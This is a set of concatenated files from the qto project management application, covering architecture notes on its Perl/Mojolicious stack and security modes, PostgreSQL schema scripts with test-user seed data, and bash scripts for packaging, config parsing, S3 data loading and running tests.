VISIBLE to the end users ui are big integers, which are formed by the concatenation of the year, month, day, hour, minutes and second in which the row in the table is created. ### 4.4. Hot meta data reload functionality In most of the modern applications using databases as main data storage, the changes in the Entity models mean in most of the cases full release of the application. Qto simplistic UI interfaces and the hot meta-data reload functionality enable all the changes to the db, which do not break the qto table api ( basically guid and id columns), to be performed only without even having to restart the application layer, but only by reloading one of the following meta-data tables - items_doc, app_items, app_item_attributes ## 5. FULL STACK DESCRIPTION ### 5.1. OS stack The Qto Application supports ONLY Ubuntu 18.04 as of v0.7.9. - that is all the deployment automations have been tested ONLY against this OS. Any middle level full stack developer should be able to deploy and operate the Qto Application on most of the reason Linux distributions and even probably BSD, yet this will require substantial rewrite of the existing deployment scripts as the aim is to have single code base for those scripts and configurability if multiple OS's will be supported. ### 5.2. The Application Layer stack #### 5.2.1. Perl The Application Layer is written in Perl, which is the best possible return on invested time suiting for the philosophy of the qto application. #### 5.2.2. The perl modules ### 5.3. The Mojolicious web framework Mojolicious is non-arguably the best web-framework out there in almost any criteria, most notably speed, stability, deployment time, scalability, security and tons of other features you can read about in the framework's web page @: https://mojolicious.org/ ### 5.4. The browser run-time Qto support all modern browsers. Internet Explorer / other Microsoft browsers ARE NOT supported, due to their notorious time-burning compliance with web standards. Mobile browsers albeit supported are NOT priority ( for now ). #### 5.4.1. HTML 5 #### 5.4.2. JavaScript ##### 5.4.2.1. Vue ## 6. APPLICATION CONTROL FLOW This section provides a generic control flow description for the shell based and ui based control flows. ### 6.1. Shell control flow The shell control flow is based on the control model input output architecture. The usual pattern is to call a single &lt;&lt;doSomeAction&gt;&gt; shell function, which is stored in a some-action.func.sh file and loaded dynamically based on this naming convention. Maximun of 2 level nesting is used in the functional calls, that is once an shell action is evoked it could call only 1 funtion, which might or might be not a shell action function , BUT not more, to address unneeded complexity written in bash. #### 6.1.1. Front-End The Mojolicious Web Framework runs on top of a perl instance, which serves the back-end requests and passes back and forth json, as well as the ui Mojo templates dynamically, which combined with the vue template create the generic ui loaded in modern html 5, web sockets and ajax capable browsers. That said the html,js , vue code is mixed with some perl Mojolicious template code several times per file unit and the logic of building the file units into html pages in defined by the Mojolicious templating system, but once one could grasp the concept the developing of the front-end is more or less html,javascript , vue centric. #### 6.1.2. Back-End The id's of the tables which ARE VISIBLE to the end users ui are big integers, which are formed by the concatenation of the year, month, day, hour, minutes and second in which the row in the table is created. The primary keys are however GUID's to provide the underlying expandability for cross-domain, cross-db data transfers. ## 7. SECURITY This section provides an overview of the security of a system operating the qto application. ### 7.1. Non-security mode In the non-security mode the application does NOT authenticate any one. Both run over https and http. Of course if you use http all the traffic will be in plain text ... ### 7.2. Simple native security mode In this mode the authentication is performed against the project defined in the login page ( where project is actually the database to which the application layer can connect to ). This means that one user can have access to multiple project databases and be authenticated agains some of them thus being able to navigate with the same browser from project to project. In this mode the user credentials - email and password are stored in the users table with a blowfish encryption. Sessions are used for storing the state of the authentication, which is handled by the Mojolicious web framework - all data gets serialized to json and stored Base64 encoded on the client-side, but is protected from unwanted changes with a HMAC-SHA1 signature. <file_sep>-- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_imgs CASCADE' -- \echo '8. Creating the app_imgs table' CREATE TABLE app_imgs ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (200) NOT NULL DEFAULT 'Image figure title' , relative_path varchar (1000) NOT NULL DEFAULT 'src/perl/qto/public/dat/img/qto/...' , http_path varchar (4000) NOT NULL DEFAULT 'https://raw.githubusercontent.com/YordanGeorgiev/qto/master/doc/img/..' , style varchar (100) NOT NULL DEFAULT 'width: 800px; height: 600x' , item_id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , description varchar (4000) NOT NULL DEFAULT 'Alt text' , item_name varchar (200) NOT NULL DEFAULT 'item_name...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_imgs_guid PRIMARY KEY (guid) ); CREATE UNIQUE INDEX idx_uniq_app_imgs_id ON app_imgs (id); -- \echo 'List columns of the created table app_imgs' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_imgs'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_imgs BEFORE UPDATE ON app_imgs FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_imgs'::regclass; <file_sep>#!/usr/bin/env bash # v1.2.1 #------------------------------------------------------------------------------ # creates the full package as component of larger product platform #------------------------------------------------------------------------------ doCreateFullPackage(){ test -z ${qto_project:-} && qto_project=qto #define default vars test -z ${include_file:-} && \ include_file="$PRODUCT_DIR/met/.$ENV.$RUN_UNIT" # relative file path is passed turn it to absolute one [[ $include_file == /* ]] || include_file=$PRODUCT_DIR/$include_file if [ ! -f "$include_file" ]; then do_log "FATAL the deployment file: $include_file does not exist !!!" return 1 fi tgt_ENV=$(echo `basename "$include_file"`|cut -d'.' -f2) # start: add the perl_ignore_file_pattern while read -r line ; do \ got=$(echo $line|perl -ne 'm|^\s*#\s*perl_ignore_file_pattern\s*=(.*)$|g;print $1'); \ test -z "$got" || perl_ignore_file_pattern="$got|${perl_ignore_file_pattern:-}" ; done < <(cat $include_file) # or how-to remove the last char from a string perl_ignore_file_pattern=$(echo "$perl_ignore_file_pattern"|sed 's/.$//') test -z $perl_ignore_file_pattern && perl_ignore_file_pattern='.*\.swp$|.*\.log|$.*\.swo$' echo perl_ignore_file_pattern::: $perl_ignore_file_pattern # note: | egrep -v "$perl_ignore_file_pattern" | egrep -v '^\s*#' cd $product_base_dir timestamp=`date "+%Y%m%d_%H%M%S"` # the last token of the include_file with . token separator - thus no points in names zip_file_name=$(echo $include_file | rev | cut -d'.' -f 1 | rev) test $zip_file_name != $RUN_UNIT && zip_file_name="$zip_file_name"'--'"$qto_project" zip_file_name="$zip_file_name.$product_version.$tgt_ENV.$timestamp.$host_name.zip" zip_file="$product_dir/$zip_file_name" mkdir -p $PRODUCT_DIR/dat/$RUN_UNIT/tmp echo $zip_file>$PRODUCT_DIR/dat/$RUN_UNIT/tmp/zip_file cd $product_base_dir; cd .. ; # zip MM ops # -MM --must-match # All input patterns must match at least one file and all input files found must be readable. set -x ; ret=1 cat $include_file | egrep -v "$perl_ignore_file_pattern" | sed '/^#/ d' | perl -ne 's|\n|\000|g;print'| \ xargs -0 -I "{}" zip -MM $zip_file "${org_name}/$RUN_UNIT/$environment_name/{}" ret=$? set +x test $ret -gt 0 && ( while IFS='' read f ; do ( test -d "$PRODUCT_DIR/$f" && continue ; test -f "$PRODUCT_DIR/$f" && continue ; test -f "$PRODUCT_DIR/$f" || do_log 'ERROR not a file: "'"$f"'"' ; test -f "$PRODUCT_DIR/$f" || ret=1 && exit 1 ); done < <(cat $include_file | egrep -v "$perl_ignore_file_pattern" | sed '/^#/ d') ); if [ ! $ret -eq 0 ]; then do_log "FATAL deleted $zip_file , because of packaging errors $! !!!" rm -fv $zip_file return 1 fi test -z ${mix_data_dir:-} && mix_data_dir=$PRODUCT_DIR/dat/mix # backup the project data dir if not running on the product itself ... test -d $mix_data_dir/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d") || doIncreaseDate # and zip the project data dir if [ ! $RUN_UNIT == $qto_project ]; then cd $mix_data_dir for i in {1..3} ; do cd .. ; done ; zip -r $zip_file $qto_project/dat/mix/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d") cd $org_base_dir else zip -r $zip_file $org_name/$RUN_UNIT/$environment_name/dat/mix/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d") fi msg="created the following full development package:" do_log "INFO $msg" msg="`stat -c \"%y %n\" $zip_file`" do_log "INFO $msg" if [[ ${network_backup_dir+x} && -n $network_backup_dir ]] ; then if [ -d "$network_backup_dir" ] ; then doRunCmdAndLog "cp -v $zip_file $network_backup_dir/" msg=" with the following network dir backup : ""$(stat -c "%y %n" "$network_backup_dir/$zip_file_name")" do_log "INFO $msg" else msg="skip backup as network_backup_dir does not exist" do_log "ERROR $msg" fi else msg="skip the creation of the network backup as no network_backup_dir is configured" do_log "INFO $msg" fi do_log "INFO STOP create-full-package.func.sh" } #eof func doCreateFullPackage <file_sep># src/bash/qto/funcs/db-to-xls.func.sh # v0.6.9 doDbToXls(){ do_log "DEBUG START doDbToXls" sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "INFO START testing db-to-xls" test -z ${tables+x} && export tables='daily_issues' perl src/perl/qto/script/qto.pl --do db-to-xls --tables $tables exit_code=$? do_log "INFO doRunQto exit_code $exit_code" test $exit_code -ne 0 && do_exit $exit_code "failed to run qto.pl" do_log "DEBUG STOP doDbToXls" } # eof file: src/bash/qto/funcs/db-to-xls.func.sh <file_sep># src/bash/lp_nettilaskuri/funcs/generate-action-files.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestGenerateActionFiles comments ... # --------------------------------------------------------- doTestGenerateActionFiles(){ do_log "DEBUG START doTestGenerateActionFiles" cat doc/txt/lp_nettilaskuri/tests/generate-action-files.test.txt doSpecGenerateActionFiles doHelpGenerateActionFiles bash src/bash/lp_nettilaskuri/lp_nettilaskuri.sh -a generate-action-files do_log "DEBUG STOP doTestGenerateActionFiles" sleep $sleep_interval source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh do_flush_screen } # eof func doTestGenerateActionFiles # eof file: src/bash/lp_nettilaskuri/funcs/generate-action-files.test.sh <file_sep>process_help_cmd_args () { while [[ $# -gt 0 ]]; do case "$1" in -h|-help) usage; exit 1 ;; -v|-verbose) verbose=1 && shift ;; -d|-debug) debug=1 && addSbt "-debug" && shift ;; *) addResidual "$1" && shift ;; esac done } # src: https://certbot.eff.org/lets-encrypt/ubuntubionic-other # the install is in the bootstrap sudo certbot certonly --webroot sudo openssl pkey -in /etc/letsencrypt/live/qto.fi/privkey.pem -out \ /etc/letsencrypt/live/qto.fi/privkey.key sudo openssl x509 -outform der -in /etc/letsencrypt/live/qto.fi/fullchain.pem -out \ /etc/letsencrypt/live/qto.fi/fullchain.crt <file_sep># # --------------------------------------------------------- # cat cnf/qto.dev.host-name.cnf # [MainSection] # postgres_app_db = dev_qto # postgres_rdbms_host = host-name # # call by: doParseCnfEnvVars cnf/qto.dev.host-name.cnf # --------------------------------------------------------- doParseCnfEnvVars(){ cnf_file=$1;shift 1; test -z "$cnf_file" && echo " you should set the cnf_file !!!" cnf_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$cnf_file") PRODUCT_DIR=${cnf_dir%/*} INI_SECTION=MainSection ( set -o posix ; set ) | sort >~/vars.before eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ -e 's/#.*$//' \ -e 's/[[:space:]]*$//' \ -e 's/^[[:space:]]*//' \ -e "s|%ProductInstanceDir%|${PRODUCT_DIR}|" \ -e "s/^\(.*\)=\([^\"']*\)$/export \1=\"\2\"/" \ < $cnf_file \ | sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^#].*\=.*/p;}"` # and post-register for nice logging ( set -o posix ; set ) | sort >~/vars.after echo "INFO added the following vars from section: [$INI_SECTION]" comm -3 ~/vars.before ~/vars.after | perl -ne 's#\s+##g;print "\n $_ "' } # # --------------------------------------------------------- # call by: doParseIniEnvVars sfw/sh/isg-pub/isg-pub.mini-nz.ysg-ip-172-31-18-13.conf #; file: mini-nz.sh.hostname.conf docs at the end #[MainSection] #; the name of the project #project=mini-nz #; #; the alias of the project - used for the logical html link and the db names #; eof file: mini-nz.sh.hostname.conf #proj_alias=mini_nz # --------------------------------------------------------- doParseIniEnvVars(){ ini_file=$1;shift 1; #debug ok echo ini_file:: $ini_file #debug ok sleep 2 test -z "$ini_file" && ini_file="$component_dir/$component_name.$host_name.conf" test -f "$ini_file" || \ cp -v $component_dir/$component_name.host_name.conf \ $component_dir/$component_name.$host_name.conf eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ -e 's/;.*$//' \ -e 's/[[:space:]]*$//' \ -e 's/^[[:space:]]*//' \ -e "s/^\(.*\)=\([^\"']*\)$/export \1=\"\2\"/" \ < $ini_file \ | sed -n -e "/^\[MainSection\]/,/^\s*\[/{/^[^;].*\=.*/p;}"` } #eof func doParseIniEnvVars <file_sep># src/bash/qto/funcs/generate-sql.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestGenerateSQL comments ... # --------------------------------------------------------- doTestGenerateSQL(){ do_log "DEBUG START doTestGenerateSQL" cat doc/txt/qto/tests/generate-sql.test.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! bash src/bash/qto/qto.sh -a generate-sql do_log "DEBUG STOP doTestGenerateSQL" } # eof func doTestGenerateSQL # eof file: src/bash/qto/funcs/generate-sql.test.sh <file_sep>#how-to add a linux group export group=staff export gid=20001 sudo groupadd -g "$gid" "$group" sudo cat /etc/group | grep --color "$group" export user=phz export uid=20001 export home_dir=/home/$user export desc="the qto user" #how-to add an user sudo useradd --uid "$uid" --home-dir "$home_dir" --gid "$group" \ --create-home --shell /bin/bash "$user" \ --comment "$desc" sudo cat /etc/passwd | grep --color "$user" groups "$user" # modify a user usermod -a -G $group $user # change the password for the specified user (own password) passwd $user #how-to forces to change password when logging in for the first time passwd -f login #change user pass to expire never chage -I -1 -m 0 -M 99999 -E -1 $user # and check results chage -l $user #Ei should not return anything !!! passwd -s -a | grep NP (=No Password) #delete an user userdel $user #administer the /etc/group file gpasswd: <file_sep># src/bash/qto/funcs/create-ctags.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestCreateCtags comments ... # --------------------------------------------------------- doTestCreateCtags(){ do_log "DEBUG START doTestCreateCtags" cat doc/txt/qto/tests/create-ctags.test.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doTestCreateCtags" } # eof func doTestCreateCtags # eof file: src/bash/qto/funcs/create-ctags.test.sh <file_sep>-- file: src/sql/pgsql/qto/app-itms/001.create-table.app_users.sql -- v0.8.4 -- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_users' -- \echo '1. Creating the app_users table' CREATE TABLE public.app_users ( guid UUID DEFAULT public.gen_random_uuid() NOT NULL, id bigint DEFAULT (to_char(CURRENT_TIMESTAMP, 'YYMMDDHH12MISS'::text))::bigint NOT NULL, name character varying(100) DEFAULT 'User name'::character varying NOT NULL, first_name character varying(50), last_name character varying(50), email character varying(200) DEFAULT 'Email'::character varying NOT NULL, status smallint DEFAULT 1 NOT NULL, description character varying(200) DEFAULT ''::character varying, password character varying(200) DEFAULT '<PASSWORD>'::character varying NOT NULL, update_time timestamp without time zone DEFAULT date_trunc('second'::text, now()), CONSTRAINT pk_app_users_guid PRIMARY KEY (guid), UNIQUE(email) ); -- -- TOC entry 3348 (class 0 OID 176764) -- Dependencies: 281 COPY public.app_users (guid, id, name, first_name, last_name, email, status, description, password, update_time) FROM stdin; 2660a6e9-9e6b-4faa-8264-27a92872657b 190707231513 tau anonymous user <EMAIL> 1 Test anonymous {CRYPT}$2a$08$iAmq3xMI4452eOmbexOXFOzccG7/kDVri21RZIainW2kYXq57xbdG 2020-05-01 21:06:10 2660a6e9-9e6b-4faa-8264-27a92872657c 200107231510 trd test reader user <EMAIL> 1 Test reader {CRYPT}$2a$08$/Z3BoSd2cOO1Enb4xckj9Ocl/8dWGzUxlyaI0fDLveDSEPHQh6XiG 2020-05-01 21:06:10 2660a6e9-9e6b-4faa-8264-27a92872657d 200107231511 ted test editor user <EMAIL> 1 Test editor {CRYPT}$2a$08$cbAMAMtbNJthEfglhyj6buI4GL13Yia4QTGIZXFE.9jhuVWZ1p/Ru 2020-05-01 21:06:10 9426c566-0abd-4028-830f-82ed9f91d262 200502001502 pio product instance owner user <EMAIL> 1 Test product instance owner {CRYPT}$2a$08$nTM2/kqvQkNS.vuGV.0bG.h67j8Ci1DreZ16KeVPA8N9SwBohv5cm 2020-05-01 21:15:41 \. -- \echo 'List columns of the created table app_users' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_users'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_users BEFORE UPDATE ON app_users FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_users'::regclass; <file_sep># # the following db dump in the s3 of the aws credentials owning user should exist: # https://s3-$AWS_DEFAULT_REGION.amazonaws.com/$bucket/"$ENV"_$RUN_UNIT"'.latest.insrts.dmp.sql # doLoadDbDataFromS3(){ test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" # do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.db' do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.aws' mkdir -p $PRODUCT_DIR/dat/sql/ echo "fetch the db inserts data from the s3 bucket from the following url: " echo "https://s3-$AWS_DEFAULT_REGION.amazonaws.com/$bucket/"$ENV"_$RUN_UNIT"'.latest.insrts.dmp.sql' wget -O "$PRODUCT_DIR/dat/sql/"$ENV'_'$RUN_UNIT".latest.insrts.dmp.sql" \ "https://s3-$AWS_DEFAULT_REGION.amazonaws.com/$bucket/"$ENV"_$RUN_UNIT"'.latest.insrts.dmp.sql' # configure psql to access the db of THIS instance PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} \ --port $postgres_rdbms_port --host $postgres_rdbms_host -d $postgres_app_db < \ "$PRODUCT_DIR/dat/sql/$ENV"'_'"$RUN_UNIT"'.latest.insrts.dmp.sql' test -f $PRODUCT_DIR/dat/tmp/bootstrapping && rm -v $PRODUCT_DIR/dat/tmp/bootstrapping test -f $PRODUCT_DIR/bootstrapping && rm -v $PRODUCT_DIR/bootstrapping # grant the needed select PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -v -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h ${postgres_rdbms_host:-} -p ${postgres_rdbms_port:-} -v ON_ERROR_STOP=1 \ -d ${postgres_app_db:-} \ -c "GRANT SELECT,INSERT,UPDATE,DELETE,TRUNCATE ON ALL TABLES IN SCHEMA public TO $postgres_app_usr; GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO $postgres_app_usr" echo "Databases successfully filled with data." } <file_sep>-- remove REFERENCES userstories_doc(guid) if necessary CREATE TABLE rep_userstories_doc ( guid UUID NOT NULL DEFAULT gen_random_uuid() REFERENCES userstories_doc(guid) , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , status varchar (20) NOT NULL DEFAULT 'status...' , prio integer NOT NULL DEFAULT 1 , name varchar (200) NOT NULL DEFAULT 'name/title...' , description varchar (4000) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_rep_userstories_doc_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE );<file_sep>#!/usr/bin/env bash # file: src/bash/qto/test-qto.sh umask 022 ; # print the commands # set -x # print each input line as well # set -v # exit the script if any statement returns a non-true return value. gotcha !!! # set -e trap 'do_exit $LINENO $BASH_COMMAND; exit' SIGHUP SIGINT SIGQUIT trap "exit $exit_code" TERM export TOP_PID=$$ # v1.2.8 #------------------------------------------------------------------------------ # the main function called #------------------------------------------------------------------------------ main(){ doInit doSetVars doRunTests "$@" do_exit 0 "# = STOP MAIN = $RUN_UNIT_TESTER " } #eof main # v1.2.8 #------------------------------------------------------------------------------ # the "reflection" func #------------------------------------------------------------------------------ get_function_list() { env -i bash --noprofile --norc -c ' source "'"$1"'" typeset -f | grep '\''^[^{} ].* () $'\'' | awk "{print \$1}" | while read -r function_name; do type "$function_name" | head -n 1 | grep -q "is a function$" || continue echo "$function_name" done ' } #eof func get_function_list # # v1.2.8 #------------------------------------------------------------------------------ # run all the actions #------------------------------------------------------------------------------ doRunTests(){ cd $PRODUCT_DIR do_logTestRunEntry 'INIT' do_log "INFO actions list file: $PRODUCT_DIR/src/bash/qto/tests/run-qto-tests.lst" do_log "INFO running the following actions : " cat $PRODUCT_DIR/src/bash/qto/tests/run-qto-tests.lst | grep -v '#' sleep 1 while read -r action ; do ( # exit as soon as ## is found [[ ${action:0:2} = \#\# ]] && break # do not run a test if it is commented out ( starts with # ) [[ ${action:0:1} = \# ]] && continue do_log "INFO START :: testing action: \"$action\"" do_logTestRunEntry 'START' while read -r test_file ; do ( # do_log "test_file: \"$test_file\"" while read -r function_name ; do ( action_name=`echo $(basename $test_file)|sed -e 's/.test.sh//g'` if [ "$action_name" != "$action" ] then continue else do_log "INFO START ::: calling function":"$function_name" do_logTestRunEntry 'INFO' ' '$(date "+%H:%M:%S") $function_name do_log "INFO test-qto loop exit_code: $exit_code" do_logTestRunEntry 'INFO' ' '$(date "+%H:%M:%S") do_logTestRunEntry 'INFO' ' '"$action_name" # all testing functions should export their exit code do_logTestRunEntry 'STOP' $exit_code # and clear the screen do_log "INFO STOP :: testing action: \"$action\"" # test $exit_code -ne 0 && do_exit $exit_code "FATAL $function_name" sleep $sleep_interval do_flush_screen fi ); done< <(get_function_list "$test_file") ); done < <(find src/bash/qto/tests -type f -name '*.sh') ); done < <(cat $PRODUCT_DIR/src/bash/qto/tests/run-qto-tests.lst) do_logTestRunEntry 'STATUS' } #eof fun doRunTests # v1.2.8 #------------------------------------------------------------------------------ # register the run-time vars before the call of the $0 #------------------------------------------------------------------------------ doInit(){ call_start_dir=`pwd` wrap_bash_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") tmp_dir="$wrap_bash_dir/tmp/.tmp.$$" mkdir -p "$tmp_dir" ( set -o posix ; set ) | sort >"$tmp_dir/vars.before" my_name_ext=`basename $0` RUN_UNIT_TESTER=${my_name_ext%.*} host_name=$(hostname -s) export sleep_interval=${sleep_interval:=0} # to slow down during debuging export sleep_iterval=3 } #eof doInit # v1.0.8 #------------------------------------------------------------------------------ # clean and exit with passed status and message #------------------------------------------------------------------------------ do_exit(){ exit_code=0 exit_msg="$*" echo -e "\n\n" cd $call_start_dir case $1 in [0-9]) exit_code="$1"; shift 1; esac if (( $exit_code != 0 )); then exit_msg=" ERROR --- exit_code $exit_code --- exit_msg : $exit_msg" >&2 echo "$exit_msg" # doSendReport do_log "FATAL STOP FOR $RUN_UNIT_TESTER RUN with: " do_log "FATAL exit_code: $exit_code exit_msg: $exit_msg" else do_log "INFO STOP FOR $RUN_UNIT_TESTER RUN with: " do_log "INFO STOP FOR $RUN_UNIT_TESTER RUN: $exit_code $exit_msg" fi doCleanAfterRun #src: http://stackoverflow.com/a/9894126/65706 test $exit_code -ne 0 && kill -s TERM $TOP_PID test $exit_code -eq 0 && exit 0 } #eof func do_exit # v1.2.8 #------------------------------------------------------------------------------ # echo pass params and print them to a log file and terminal # with timestamp and $host_name and $0 PID # usage: # do_log "INFO some info message" # do_log "DEBUG some debug message" #------------------------------------------------------------------------------ do_log(){ type_of_msg=$(echo $*|cut -d " " -f1) msg="$(echo $*|cut -d " " -f2-)" [[ $type_of_msg == DEBUG ]] && [[ $do_print_debug_msgs -ne 1 ]] && return [[ $type_of_msg == INFO ]] && type_of_msg="INFO " # print to the terminal if we have one test -t 1 && echo " [$type_of_msg] `date "+%Y.%m.%d-%H:%M:%S"` [qto][@$host_name] [$$] $msg " # define default log file none specified in cnf file test -z $log_file && \ mkdir -p $PRODUCT_DIR/dat/log/bash && \ log_file="$PRODUCT_DIR/dat/log/bash/$RUN_UNIT_TESTER.`date "+%Y%m"`.log" echo " [$type_of_msg] `date "+%Y.%m.%d-%H:%M:%S"` [$RUN_UNIT_TESTER][@$host_name] [$$] $msg " >> $log_file } #eof func do_log #v1.2.8 #------------------------------------------------------------------------------ # cleans the unneeded during after run-time stuff # do put here the after cleaning code #------------------------------------------------------------------------------ doCleanAfterRun(){ # remove the temporary dir and all the stuff below it cmd="rm -fvr $tmp_dir" doRunCmdAndLog "$cmd" # while read -r f ; do # test -f $f && rm -fv "$f" ; # done < <(find "$wrap_bash_dir" -type f -name '*.bak') } #eof func doCleanAfterRun # v1.2.8 #------------------------------------------------------------------------------ # run a command and log the call and its output to the log_file # doPrintHelp: doRunCmdAndLog "$cmd" #------------------------------------------------------------------------------ doRunCmdAndLog(){ cmd="$*" ; do_log "DEBUG running cmd and log: \"$cmd\"" msg=$($cmd 2>&1) ret_cmd=$? error_msg=": Failed to run the command: \"$cmd\" with the output: \"$msg\" !!!" [ $ret_cmd -eq 0 ] || do_log "$error_msg" do_log "DEBUG : cmdoutput : \"$msg\"" } #eof func doRunCmdAndLog # v1.2.8 #------------------------------------------------------------------------------ # run a command on failure exit with message # doPrintHelp: doRunCmdOrExit "$cmd" # call by: # set -e ; doRunCmdOrExit "$cmd" ; set +e #------------------------------------------------------------------------------ doRunCmdOrExit(){ cmd="$*" ; do_log "DEBUG running cmd or exit: \"$cmd\"" msg=$($cmd 2>&1) ret_cmd=$? # if occured during the execution exit with error error_msg=": FATAL : Failed to run the command \"$cmd\" with the output \"$msg\" !!!" [ $ret_cmd -eq 0 ] || do_exit "$ret_cmd" "$error_msg" #if no occured just log the message do_log "DEBUG : cmdoutput : \"$msg\"" } #eof func doRunCmdOrExit # v1.2.8 #------------------------------------------------------------------------------ # set the variables from the $0.$host_name.cnf file which has ini like syntax #------------------------------------------------------------------------------ doSetVars(){ cd $wrap_bash_dir for i in {1..3} ; do cd .. ; done ; export PRODUCT_DIR=`pwd`; # add the do_logTestRunEntry func source "$PRODUCT_DIR/src/bash/qto/funcs/log-test-run-entry.func.sh" source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh # include all the func files to fetch their funcs while read -r test_file ; do . "$test_file" ; done < <(find . -name "*test.sh") #while read -r test_file ; do echo "$test_file" ; done < <(find . -name "*test.sh") while read -r spec_file ; do . "$spec_file" ; done < <(find . -name "*spec.sh") #while read -r test_file ; do echo "$test_file" ; done < <(find . -name "*test.sh") while read -r help_file ; do . "$help_file" ; done < <(find . -name "*help.sh") #while read -r test_file ; do echo "$test_file" ; done < <(find . -name "*test.sh") # this will be dev , tst, prd ENV=$(echo `basename "$PRODUCT_DIR"`|cut -d'.' -f5) product_version=$(echo `basename "$PRODUCT_DIR"`|cut -d'.' -f2-4) environment_name=$(basename "$PRODUCT_DIR") cd .. product_dir=`pwd`; cd .. product_base_dir=`pwd`; org_dir=`pwd` org_name=$(echo `basename "$org_dir"`) cd .. org_base_dir=`pwd`; cd "$wrap_bash_dir/" # start settiing default vars do_print_debug_msgs=0 # stop settiing default vars doParseConfFile ( set -o posix ; set ) | sort >"$tmp_dir/vars.after" do_log "INFO # --------------------------------------" do_log "INFO # -----------------------" do_log "INFO # === START MAIN === $RUN_UNIT_TESTER" do_log "INFO # -----------------------" do_log "INFO # --------------------------------------" exit_code=0 do_log "INFO using the following vars:" cmd="$(comm -3 $tmp_dir/vars.before $tmp_dir/vars.after | perl -ne 's#\s+##g;print "\n $_ "' )" echo -e "$cmd" # and clear the screen do_flush_screen } #eof func doSetVars # v1.2.8 #------------------------------------------------------------------------------ # parse the ini like $0.$host_name.cnf and set the variables # cleans the unneeded during after run-time stuff. Note the MainSection # courtesy of : http://mark.aufflick.com/blog/2007/11/08/parsing-ini-files-with-sed #------------------------------------------------------------------------------ doParseConfFile(){ # set a default configuration file cnf_file="$wrap_bash_dir/$RUN_UNIT_TESTER.cnf" # however if there is a host dependant cnf file override it test -f "$wrap_bash_dir/$RUN_UNIT_TESTER.$host_name.cnf" \ && cnf_file="$wrap_bash_dir/$RUN_UNIT_TESTER.$host_name.cnf" # if we have perl apps they will share the same configuration settings with this one test -f "$PRODUCT_DIR/$RUN_UNIT_TESTER.$host_name.cnf" \ && cnf_file="$PRODUCT_DIR/$RUN_UNIT_TESTER.$host_name.cnf" # yet finally override if passed as argument to this function # if the the ini file is not passed define the default host independant ini file test -z "$1" || cnf_file=$1;shift 1; #debug echo "@doParseConfFile cnf_file:: $cnf_file" ; sleep 6 # coud be later on parametrized ... INI_SECTION=MainSection eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ -e 's/#.*$//' \ -e 's/[[:space:]]*$//' \ -e 's/^[[:space:]]*//' \ -e "s/^\(.*\)=\([^\"']*\)$/\1=\"\2\"/" \ < $cnf_file \ | sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^#].*\=.*/p;}"` } #eof func doParseConfFile # Action !!! main "$@" # #---------------------------------------------------------- # Purpose: # a simplistic tester for the qto #---------------------------------------------------------- # #---------------------------------------------------------- # Requirements: bash , perl , [ ctags ] , [ mutt ] # #---------------------------------------------------------- # #---------------------------------------------------------- # EXIT CODES # 0 --- Successfull completion # 1 --- required binary not installed # 2 --- Invalid options # 3 --- deployment file not found # 4 --- perl syntax check error #---------------------------------------------------------- # # VersionHistory: #------------------------------------------------------------------------------ # 1.2.0 --- 2020-06-23 13:21:22 -- source flush_screen function from lib folder # 1.1.0 --- 2017-03-05 16:48:13 -- change to do_exit , added testing report # 1.0.0 --- 2016-09-11 12:24:15 -- init from bash-stub #---------------------------------------------------------- # # eof file: src/bash/qto/test-qto.sh <file_sep># usage: include it in your Makefile by: # include lib/make/make-help.task # TODO-ensure that ifdef 